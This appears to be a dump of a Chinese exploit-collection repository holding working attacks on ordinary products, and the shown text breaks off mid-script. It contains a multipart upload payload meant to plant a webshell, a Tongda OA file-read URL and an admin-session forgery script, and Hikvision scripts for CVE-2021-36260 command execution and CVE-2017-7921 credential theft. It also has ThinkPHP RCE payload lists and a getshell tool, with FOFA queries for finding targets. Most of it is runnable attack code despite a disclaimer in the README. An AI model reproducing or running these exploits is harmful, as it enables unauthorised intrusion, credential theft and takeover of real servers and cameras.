name=\"CONFIG[fileAllowFiles][]\"\r\n\r\n.php\r\n-----------------------------157569659620694477453109954647\r\nContent-Disposition: form-data; name=\"ff\"; filename=\"xxx.php\"\r\nContent-Type: text/plain\r\n\r\n<?php phpinfo();?>\r\n\r\n-----------------------------157569659620694477453109954647\r\nContent-Disposition: form-data; name=\"mufile\"\r\n\r\nsubmit\r\n-----------------------------157569659620694477453109954647--\r\n```\r\n\r\n使用时将`<?php phpinfo();?>`替换为你的webshell即可。"
  },
  {
    "path": "OA漏洞/通达OA/通达OA v2017 video_file.php 任意文件下载漏洞.md",
    "content": "# 通达OA v2017 video_file.php 任意文件下载漏洞\r\n\r\n## 漏洞描述\r\n\r\n通达OA v2017 video_file.php文件存在任意文件下载漏洞，攻击者通过漏洞可以读取服务器敏感文件\r\n\r\n## 漏洞影响\r\n\r\n```\r\n通达OA v2017\r\n```\r\n\r\n## FOFA\r\n\r\n```\r\napp=\"TDXK-通达OA\"\r\n```\r\n\r\n## 漏洞复现\r\n\r\n验证POC\r\n\r\n```\r\n/general/mytable/intel_view/video_file.php?MEDIA_DIR=../../../inc/&MEDIA_NAME=oa_config.php\t\r\n```"
  },
  {
    "path": "OA漏洞/通达OA/通达OA前台任意用户登录漏洞.md",
    "content": "# 通达OA2017前台任意用户登录漏洞\r\n\r\n## 影响范围\r\n\r\n通达OA2017、V11.X<V11.5\r\n\r\n## poc\r\n\r\nhttps://github.com/NS-Sp4ce/TongDaOA-Fake-User/blob/master/POC.py\r\n\r\n```python\r\n'''\r\n@Author         : Sp4ce\r\n@Date           : 2020-03-17 23:42:16\r\nLastEditors    : Sp4ce\r\nLastEditTime   : 2020-08-27 10:21:44\r\n@Description    : Challenge Everything.\r\n'''\r\nimport requests\r\nfrom random import choice\r\nimport argparse\r\nimport json\r\n\r\nUSER_AGENTS = [\r\n    \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\",\r\n    \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)\",\r\n    \"Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\",\r\n    \"Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)\",\r\n    \"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)\",\r\n    \"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\",\r\n    \"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)\",\r\n    \"Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)\",\r\n    \"Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6\",\r\n    \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1\",\r\n    \"Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0\",\r\n    \"Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5\",\r\n    \"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6\",\r\n    \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11\",\r\n    \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20\",\r\n    \"Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52\",\r\n    \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11\",\r\n    \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71 Safari/537.1 LBBROWSER\",\r\n    \"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER)\",\r\n    \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E; LBBROWSER)\",\r\n    \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 LBBROWSER\",\r\n    \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\",\r\n    \"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)\",\r\n    \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)\",\r\n    \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; QQDownload 732; .NET4.0C; .NET4.0E; 360SE)\",\r\n    \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)\",\r\n    \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\",\r\n    \"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1\",\r\n    \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1\",\r\n    \"Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\",\r\n    \"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b13pre) Gecko/20110307 Firefox/4.0b13pre\",\r\n    \"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0\",\r\n    \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11\",\r\n    \"Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10\"\r\n]\r\n\r\nheaders={}\r\n\r\ndef getV11Session(url):\r\n    checkUrl = url+'/general/login_code.php'\r\n    try:\r\n        headers[\"User-Agent\"] = choice(USER_AGENTS)\r\n        res = requests.get(checkUrl,headers=headers)\r\n        resText = str(res.text).split('{')\r\n        codeUid = resText[-1].replace('}\"}', '').replace('\\r\\n', '')\r\n        getSessUrl = url+'/logincheck_code.php'\r\n        res = requests.post(\r\n            getSessUrl, data={'CODEUID': '{'+codeUid+'}', 'UID': int(1)},headers=headers)\r\n        tmp_cookie = res.headers['Set-Cookie']\r\n        headers[\"User-Agent\"] = choice(USER_AGENTS)\r\n        headers[\"Cookie\"] = tmp_cookie\r\n        check_available = requests.get(url + '/general/index.php',headers=headers)\r\n        if '用户未登录' not in check_available.text:\r\n            if '重新登录' not in check_available.text:\r\n                print('[+]Get Available COOKIE:' + tmp_cookie)\r\n        else:\r\n            print('[-]Something Wrong With ' + url + ',Maybe Not Vulnerable.')\r\n    except:\r\n        print('[-]Something Wrong With '+url)\r\n\r\n\r\n\r\ndef get2017Session(url):\r\n    checkUrl = url+'/ispirit/login_code.php'\r\n    try:\r\n        headers[\"User-Agent\"] = choice(USER_AGENTS)\r\n        res = requests.get(checkUrl,headers=headers)\r\n        resText = json.loads(res.text)\r\n        codeUid = resText['codeuid']\r\n        codeScanUrl = url+'/general/login_code_scan.php'\r\n        res = requests.post(codeScanUrl, data={'codeuid': codeUid, 'uid': int(\r\n            1), 'source': 'pc', 'type': 'confirm', 'username': 'admin'},headers=headers)\r\n        resText = json.loads(res.text)\r\n        status = resText['status']\r\n        if status == str(1):\r\n            getCodeUidUrl = url+'/ispirit/login_code_check.php?codeuid='+codeUid\r\n            res = requests.get(getCodeUidUrl)\r\n            tmp_cookie = res.headers['Set-Cookie']\r\n            headers[\"User-Agent\"] = choice(USER_AGENTS)\r\n            headers[\"Cookie\"] = tmp_cookie\r\n            check_available = requests.get(url + '/general/index.php',headers=headers)\r\n            if '用户未登录' not in check_available.text:\r\n                if '重新登录' not in check_available.text:\r\n                    print('[+]Get Available COOKIE:' + tmp_cookie)\r\n            else:\r\n                print('[-]Something Wrong With ' + url + ',Maybe Not Vulnerable.')\r\n        else:\r\n            print('[-]Something Wrong With '+url  + ' Maybe Not Vulnerable ?')\r\n    except:\r\n        print('[-]Something Wrong With '+url)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    parser = argparse.ArgumentParser()\r\n    parser.add_argument(\r\n        \"-v\",\r\n        \"--tdoaversion\",\r\n        type=int,\r\n        choices=[11, 2017],\r\n        help=\"Target TongDa OA Version. e.g: -v 11、-v 2017\")\r\n    parser.add_argument(\r\n        \"-url\",\r\n        \"--targeturl\",\r\n        type=str,\r\n        help=\"Target URL. e.g: -url 192.168.2.1、-url http://192.168.2.1\"\r\n    )\r\n    args = parser.parse_args()\r\n    url = args.targeturl\r\n    if 'http://' not in url:\r\n        url = 'http://' + url\r\n    if args.tdoaversion == 11:\r\n        getV11Session(url)\r\n    elif args.tdoaversion == 2017:\r\n        get2017Session(url)\r\n    else:\r\n        parser.print_help()\r\n```\r\n\r\n## 使用方法\r\n\r\n1. python3 poc.py -v 版本 -url url\r\n2. 运行并获取到可用的SESSIONID\r\n3. 替换浏览器Cookie中的SESSIONID即可实现登录为admin"
  },
  {
    "path": "README.md",
    "content": "# PoC-ExP\r\n一个网络安全爱好者对网络上一些已知漏洞payload的收录。\r\n\r\n## 写在前面\r\n\r\n网络上铺天盖地的漏洞利用方法，想把它们整理起来，方便大家查阅和学习。\r\n\r\n做这个项目的起因是一个突发奇想。在漏洞和工具横行的时代，我一开始的想法是做一个简简单单的漏洞仓库，收集一些已知的并且很常见的漏洞，用以方便对网站漏洞的发现、维护，或者是src的挖掘。\r\n\r\n对铺天盖地的漏洞Poc和Exp进行收集，并在自己的能力范围之内写一些判断脚本。\r\n\r\n**本项目仅用于网络安全技术研究，禁止使用本项目的任何形式进行发起网络攻击，抵制一切网络非法犯罪行为，一切信息禁止用于任何非法用途。**\r\n\r\n## 须知少时凌云志,曾许人间第一流。\r\n"
  },
  {
    "path": "产品漏洞/安恒明御/安恒明御防火墙未授权访问.md",
    "content": "## FOFA\n\n```\napp=\"安恒信息-明御WAF\"\n```\n\n## 漏洞利用\n\n访问 https://{{Hostname}}/report.m?a=rpc-timed\n\n若返回 error_0x110005，则存在漏洞\n\n重新访问该域名，即可未授权进入 \n\nhttps://{{Hostname}}"
  },
  {
    "path": "产品漏洞/海康威视/CVE-2021-36260.py",
    "content": "# -*- coding: utf-8 -*-\r\n\r\nimport argparse\r\nimport time\r\nimport requests\r\nfrom pyfiglet import Figlet\r\n\r\nRED = '\\x1b[1;91m'\r\nBLUE = '\\033[1;94m'\r\nGREEN = '\\033[1;32m'\r\nBOLD = '\\033[1m'\r\nENDC = '\\033[0m'\r\n\r\n\r\ndef check_host(host):\r\n    if not host.startswith(\"http\"):\r\n        print(RED + '[x] ERROR: Host \"{}\" should start with http or https\\n'.format(host) + ENDC)\r\n        return False\r\n    else:\r\n        return True\r\n\r\n\r\ndef check(origin_url):\r\n    url = origin_url.split('//')[1]\r\n    try:\r\n        host = url.split(':')[0]\r\n        port = url.split(':')[1]\r\n    except:\r\n        port = 80\r\n    headers = {\r\n        \"host\": f'{host}:{port}',\r\n        \"Content-Type\": \"application/x-www-form-urlencoded; charset=UTF-8\",\r\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36\",\r\n        'Accept': '*/*',\r\n        'X-Requested-With': 'XMLHttpRequest',\r\n        'Accept-Encoding': 'gzip, deflate',\r\n        'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8'\r\n    }\r\n    data = '<?xml version=\"1.0\" encoding=\"UTF-8\"?>' \\\r\n           f'<language>$(>webLib/cu)</language>'\r\n    try:\r\n        resp1 = requests.put(url=origin_url + '/SDK/webLanguage', headers=headers, data=data, timeout=3, verify=False)\r\n        resp2 = requests.get(origin_url + '/cu')\r\n        if resp2.status_code == 200:\r\n            print(GREEN + f'[!] {url} is verified exploitable\\n')\r\n            return True\r\n        else:\r\n            print(BLUE + f'[+] Remote is not vulnerable (Code: {resp2.status_code})\\n')\r\n            return False\r\n    except:\r\n        print(RED + f'[-]Cannot connect to ' + url + '\\n')\r\n\r\n\r\ndef cmd(origin_url, cmd):\r\n    url = origin_url.split('//')[1]\r\n    host = url.split(':')[0]\r\n    port = url.split(':')[1]\r\n    headers = {\r\n        \"host\": f'{host}:{port}',\r\n        \"Content-Type\": \"application/x-www-form-urlencoded; charset=UTF-8\",\r\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36\",\r\n        'Accept': '*/*',\r\n        'X-Requested-With': 'XMLHttpRequest',\r\n        'Accept-Encoding': 'gzip, deflate',\r\n        'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8'\r\n    }\r\n    data = '<?xml version=\"1.0\" encoding=\"UTF-8\"?>' \\\r\n           f'<language>$({cmd}>webLib/cu)</language>'\r\n    try:\r\n        resp1 = requests.put(url=origin_url + '/SDK/webLanguage', headers=headers, data=data, timeout=3, verify=False)\r\n        resp2 = requests.get(origin_url + '/cu')\r\n        if resp2 is None or resp2.status_code != 200:\r\n            print(RED + f'[!] Error execute cmd \"{cmd}\"\\n')\r\n        else:\r\n            print(resp2.text)\r\n    except:\r\n        print(RED + f'[-]Cannot connect to ' + url + '\\n')\r\n\r\n\r\ndef main():\r\n    f = Figlet(width=2000)\r\n    print(f.renderText(\"Cuerz\"))\r\n\r\n    parser = argparse.ArgumentParser(description='CVE-2021-36260')\r\n    print('Example: CVE-2021-36260.py -u http://192.168.1.1:8080 --check')\r\n\r\n    parser.add_argument(\"-u\", \"--url\", help='Start scanning url')\r\n    parser.add_argument(\"-f\", \"--file\", help='read the url from the file')\r\n    parser.add_argument(\"--check\", required=False, default=False, action='store_true', help='Check if vulnerable')\r\n    parser.add_argument('--cmd', required=False, type=str, default=None, help='execute cmd (i.e: \"ls -l\")')\r\n    args = parser.parse_args()\r\n\r\n    if args.url and check_host(args.url):\r\n        if args.check:\r\n            check(args.url)\r\n        elif args.cmd:\r\n            cmd(args.url, args.cmd)\r\n\r\n    elif args.file:\r\n        f = open(args.file, \"r\")\r\n        all = f.readlines()\r\n        for i in all:\r\n            url = i.strip()\r\n            if check_host(url):\r\n                if check(url):\r\n                    with open('Exist.txt', 'a+') as fp:\r\n                        fp.write(url + '\\n')\r\n            time.sleep(0.2)\r\n\r\n\r\nif __name__ == '__main__':\r\n    main()\r\n"
  },
  {
    "path": "产品漏洞/海康威视/海康威视 CVE-2017-7921 未授权漏洞.md",
    "content": "# 海康威视 CVE-2017-7921 未授权漏洞\n\n## 漏洞描述\n\n成功利用这些漏洞可能会导致恶意攻击者提升其权限或假设已验证用户的身份并获取敏感数据。\n\n## 漏洞影响\n\n```\n海康威视 DS-2CD2xx2F-I Series V5.2.0 build 140721至V5.4.0 build 160530\nDS-2CD2xx0F-I Series V5.2.0 build 140721至V5.4.0 build 160401\nDS-2CD2xx2FWD Series V5.3.1 build 150410至V5.4.4 build 161125\nDS-2CD4x2xFWD Series V5.2.0 build 140721至V5.4.0 build 160414\n```\n\n## FOFA\n\n```\nheader=\"Hikvision\"\t\t\t  \napp=\"HIKVISION-视频监控\"\n```\n\n## POC\n\n1.检索设备列表\n\n```\nhttp://IP/Security/users?auth=YWRtaW46MTEK\n```\n\n2.获取监控快照\n\n```\nhttp://IP/onvif-http/snapshot?auth=YWRtaW46MTEK\n```\n\n3.下载摄像头配置账号密码文件\n\n```\nhttp://IP/System/configurationFile?auth=YWRtaW46MTEK\n```\n\n- 浏览器会自动下载一个名为 `configurationFile` 的文件,需要经过解密。\n  Payload: https://github.com/chrisjd20/hikvision_CVE-2017-7921_auth_bypass_config_decryptor\n- 需要一个工具 `wxMEdit` 打开解密后的配置文件,搜索关键字 `admin`."
  },
  {
    "path": "产品漏洞/海康威视/海康威视 CVE-2021-36260 RCE.md",
    "content": "# 海康威视 CVE-2021-36260 RCE 漏洞\n\n## 漏洞描述\n\n攻击者利用该漏洞可以用无限制的 root shell 来完全控制设备，即使设备的所有者受限于有限的受保护 shell（psh）。除了入侵 IP 摄像头外，还可以访问和攻击内部网络。\n\n## FOFA\n\n```\nheader=\"Hikvision\"\t\t\t \napp=\"HIKVISION-视频监控\"\n```\n\n## POC\n\n具体利用见**CVE-2021-36260.py**\n\n```\npython ./CVE-2021-36260.py -u http://192.168.1.1:8080 --check\npython ./CVE-2021-36260.py -u http://192.168.1.1:8080 --cmd \"ls -la\"\npython ./CVE-2021-36260.py -f target.txt\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -u URL, --url URL     Start scanning url\n  -f FILE, --file FILE  read the url from the file\n  --check               Check if vulnerable\n  --cmd CMD             execute cmd (i.e: \"ls -l\")\n```\n\n可批量挖掘src"
  },
  {
    "path": "框架漏洞/ThinkPHP/README.md",
    "content": "# FOFA\r\n\r\n```\r\napp=\"ThinkPHP\"\r\n```\r\n\r\n\r\n\r\n# ThinkPHP RCE 漏洞\r\n\r\n## 说明\r\n\r\nThinkPHP中RCE漏洞涉及的版本较多，V2以及V5中都存在该漏洞\r\n\r\ntp框架系列中，5.0.x 跟 5.1.x 中，各个系列里的poc是几乎为通用的\r\n\r\n比如 5.0.1中某个poc在5.0.3中也是可以用的，也就是说当我们碰到5.0.8的时候，可以尝试用5.0.1 或 5.0.5等 5.0.x 系列的poc去尝试使用，\r\n\r\n5.1.x 系列同理\r\n\r\n所以，一条payload可以通用多个版本的ThinkPHP，但不完全保证，可以多尝试尝试。\r\n\r\n## poc\r\n\r\n可用下面的poc来验证是否为RCE\r\n\r\n```\r\n/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1\"\r\n\r\n/?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()\"\r\n\r\n/?s=index/think\\request/input?data[]=phpinfo()&filter=assert\",\r\n\r\n/?s=index/\\think\\view\\driver\\Php/display&content=<?php phpinfo();?>\",\r\n\r\n/?s=index/\\think\\Container/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()\",\r\n\r\n/?s=index/\\think\\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1\"\r\n\r\n/?s=index/\\think\\Request/input&filter[]=phpinfo&data=-1\",\r\n\r\n/?s=index/\\think\\module/action/param1/${@phpinfo()}\"]\r\n```\r\n\r\n综合检验+getshell工具见**thinkphpRCE.py**\r\n\r\n```\r\nusage: thinkphp_rce.py [-h] [-u URL] [-f FILE] [-p PROXY] [--shell]\r\n\r\noptional arguments:\r\n  -h, --help            show this help message and exit\r\n  -u URL, --url URL     Start scanning url -u xxx.com\r\n  -f FILE, --file FILE  read the url from the file\r\n  -p PROXY, --proxy PROXY\r\n                        use HTTP/HTTPS proxy\r\n  --shell               try to get shell\r\n\r\npython thinkphpRCE.py -u http:/xx.xx/ --shell //检测和getshell\r\n```\r\n\r\n"
  },
  {
    "path": "框架漏洞/ThinkPHP/thinkphpRCE.py",
    "content": "# coding:utf-8\r\n\r\nimport requests\r\nfrom urllib import parse\r\nimport urllib3\r\nimport base64\r\nimport argparse\r\nimport time\r\nimport random\r\nimport sys\r\nfrom bs4 import BeautifulSoup\r\n\r\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\r\n# requests.packages.urllib3.disable_warnings()\r\n\r\nheaders = {\r\n    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:76.0) Gecko/20100101 Firefox/76.0',\r\n    'Accept': 'application/json, text/plain, */*',\r\n    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',\r\n    'Accept-Encoding': 'gzip, deflate',\r\n    'Content-Type': 'application/x-www-form-urlencoded',\r\n    'Connection': 'close'\r\n}\r\n\r\n\r\ndef proxy_get(host, proxy):\r\n    if proxy:\r\n        proxies = random.choice(proxy)\r\n        proxies_use = {\"http\": \"http://{}\".format(proxies.strip('\\n')),\r\n                       \"https\": \"https://{}\".format(proxies.strip('\\n'))}\r\n        try:\r\n            res = requests.get(url=host, headers=headers, verify=False, proxies=proxies_use, timeout=5)\r\n            res.encoding = 'utf-8'\r\n            if res.status_code == 500 and 'ThinkPHP' in res.text:\r\n                sta_code = 200\r\n            else:\r\n                sta_code = res.status_code\r\n        except:\r\n            sta_code = 100\r\n        while sta_code != 200:\r\n            proxy.remove(proxies)\r\n            if proxy:\r\n                proxies = random.choice(proxy)\r\n                proxies_use = {\"http\": \"http://{}\".format(proxies.strip('\\n')),\r\n                               \"https\": \"https://{}\".format(proxies.strip('\\n'))}\r\n                try:\r\n                    res = requests.get(url=host, headers=headers, verify=False, allow_redirects=False,\r\n                                       proxies=proxies_use, timeout=5)\r\n                    sta_code = res.status_code\r\n                except:\r\n                    pass\r\n            else:\r\n                print('没有代理可用了')\r\n                sys.exit(0)\r\n    else:\r\n        proxy = False\r\n        proxies_use = []\r\n    return proxies_use, proxy\r\n\r\n\r\ndef req_get(url, proxy):\r\n    res_body = ''\r\n    if proxy:\r\n        try:\r\n            res = requests.get(url=url, headers=headers, verify=False, allow_redirects=False, proxies=proxy, timeout=5)\r\n            res.encoding = 'utf-8'\r\n            # res_body = res.text\r\n        except:\r\n            print(\"\\033[1;31m网络出错！\\033[0m\")\r\n            pass\r\n    else:\r\n        try:\r\n            res = requests.get(url=url, headers=headers, verify=False, allow_redirects=False, timeout=5)\r\n            res.encoding = 'utf-8'\r\n            # res_body = res.text\r\n        except:\r\n            print(\"\\033[1;31m网络出错！\\033[0m\")\r\n            pass\r\n    return res\r\n\r\n\r\ndef req_post(url, proxy, data):\r\n    res_body = ''\r\n    if proxy:\r\n        try:\r\n            res = requests.post(url=url, headers=headers, verify=False, data=data, allow_redirects=False, proxies=proxy,\r\n                                timeout=5)\r\n            res.encoding = 'utf-8'\r\n        except:\r\n            print(\"\\033[1;31m网络出错！\\033[0m\")\r\n            pass\r\n    else:\r\n        try:\r\n            res = requests.post(url=url, headers=headers, verify=False, data=data, allow_redirects=False, timeout=5)\r\n            res.encoding = 'utf-8'\r\n        except:\r\n            print(\"\\033[1;31m网络出错！\\033[0m\")\r\n            pass\r\n    return res\r\n\r\n\r\ndef think_rce_check(host, proxy):\r\n    print('\\033[1;34m[!] thinkphp_RCE探测：\\033[0m')\r\n    # 5.0.x命令执行，<=5.0.24\r\n    success = []\r\n    headers[\"Host\"] = parse.urlparse(host).hostname\r\n    payloads = [r\"/?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1\",\r\n                r\"/?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()\",\r\n                r\"/?s=index/think\\request/input?data[]=phpinfo()&filter=assert\",\r\n                r\"/?s=index/\\think\\view\\driver\\Php/display&content=<?php phpinfo();?>\",\r\n                r\"/?s=index/\\think\\Container/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()\",\r\n                r\"/?s=index/\\think\\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1\",\r\n                r\"/?s=index/\\think\\Request/input&filter[]=phpinfo&data=-1\",\r\n                r\"/?s=index/\\think\\module/action/param1/${@phpinfo()}\"]\r\n    for i in payloads:\r\n        url1 = host + i\r\n        proxies, proxy = proxy_get(host, proxy)\r\n        res_body_1 = req_get(url1, proxies)\r\n        if ('PHP Version' in res_body_1.text) or ('PHP Extension Build' in res_body_1.text):\r\n            success.append(url1)\r\n        else:\r\n            pass\r\n\r\n    # ThinkPHP <= 5.0.23 需要存在xxx的method路由，例如captcha\r\n    url2 = host + \"/?s=captcha&test=-1\"\r\n    post_2 = [r'_method=__construct&filter=phpinfo&method=get&server[REQUEST_METHOD]=1',\r\n              r'_method=__construct&filter[]=phpinfo&method=GET&get[]=1']\r\n    query_2 = '/?s=captcha&test=-1'\r\n    for j in post_2:\r\n        proxies, proxy = proxy_get(host, proxy)\r\n        res_body_2 = req_post(url2, proxies, j)\r\n        if ('PHP Version' in res_body_2.text) or ('PHP Extension Build' in res_body_2.text):\r\n            payload_post2 = url2 + \"  POST: \" + j\r\n            success.append(payload_post2)\r\n        else:\r\n            pass\r\n\r\n    url3 = host + \"/?s=captcha&test=phpinfo()\"\r\n    post_3 = r'_method=__construct&filter[]=assert&method=get&server[REQUEST_METHOD]=-1'\r\n    proxies, proxy = proxy_get(host, proxy)\r\n    res_body_3 = req_post(url3, proxies, post_3)\r\n    if ('PHP Version' in res_body_3.text) or ('PHP Extension Build' in res_body_3.text):\r\n        payload_post3 = url3 + \"  POST: \" + post_3\r\n        success.append(payload_post3)\r\n    else:\r\n        pass\r\n\r\n    # ThinkPHP <= 5.0.13\r\n    url4 = host + \"/?s=index/index/\"\r\n    post_4 = [r's=-1&_method=__construct&method=get&filter[]=phpinfo',\r\n              r'_method=__construct&method=get&filter[]=phpinfo&get[]=-1']\r\n    for k in post_4:\r\n        proxies, proxy = proxy_get(host, proxy)\r\n        res_body_4 = req_post(url4, proxies, k)\r\n        if ('PHP Version' in res_body_4.text) or ('PHP Extension Build' in res_body_4.text):\r\n            payload_post4 = url4 + \"  POST: \" + k\r\n            success.append(payload_post4)\r\n        else:\r\n            pass\r\n\r\n    # ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug\r\n    url5 = host\r\n    post_5 = [r'_method=__construct&filter[]=phpinfo&server[REQUEST_METHOD]=-1']\r\n    for h in post_5:\r\n        proxies, proxy = proxy_get(host, proxy)\r\n        res_body_5 = req_post(url5, proxies, h)\r\n        if ('PHP Version' in res_body_5.text) or ('PHP Extension Build' in res_body_5.text):\r\n            payload_post5 = url5 + \"  POST: \" + h\r\n            success.append(payload_post5)\r\n        else:\r\n            pass\r\n\r\n    if success:\r\n        print(\"\\033[1;34m[!] 存在thinkphp_RCE! 可用Payload:\\033[0m\")\r\n        for p in success:\r\n            print(\"\\033[1;32m{}\\033[0m\".format(p))\r\n            fo = open('{}.txt'.format(parse.urlparse(host).hostname), 'a')\r\n            fo.write(p + '\\n')\r\n            fo.close()\r\n    else:\r\n        print(\"\\033[1;31m[!] 不存在thinkphp_RCE!\\033[0m\")\r\n\r\n\r\ndef getshell(host, proxy):\r\n    fo = open('{}.txt'.format(parse.urlparse(host).hostname), 'a')\r\n    print(\"\\033[1;34m[!]正在尝试Getshell：\\033[0m\")\r\n    headers[\"Host\"] = parse.urlparse(host).hostname\r\n    success = False\r\n    shell = \"<?php phpinfo();?>\"\r\n    shell_url = host + \"/1ndex.php\"\r\n    payload = [\r\n        r\"/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=1ndex.php&vars[1][]=\" + shell,\r\n        r\"/?s=index/\\think\\template\\driver\\file/write&cacheFile=1ndex.php&content=\" + shell,\r\n    ]\r\n    for k in payload:\r\n        url = host + k\r\n        proxies, proxy = proxy_get(host, proxy)\r\n        req_get(url, proxies)\r\n        getshell_res = req_get(shell_url, proxies)\r\n        if getshell_res.status_code == 200:\r\n            print(\"\\033[1;32m[+] Getshell succeed，shell address： \" + host + \"/1ndex.php\\n\\033[0m\")\r\n            fo.write('Getshell succeed，shell address： {}/1ndex.php'.format(host))\r\n            success = True\r\n            break\r\n        else:\r\n            pass\r\n\r\n    if not success:\r\n        # ThinkPHP <= 5.0.23 需要存在xxx的method路由，例如captcha\r\n        post_payload2 = r'_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=-1'\r\n        # try:\r\n        proxies, proxy = 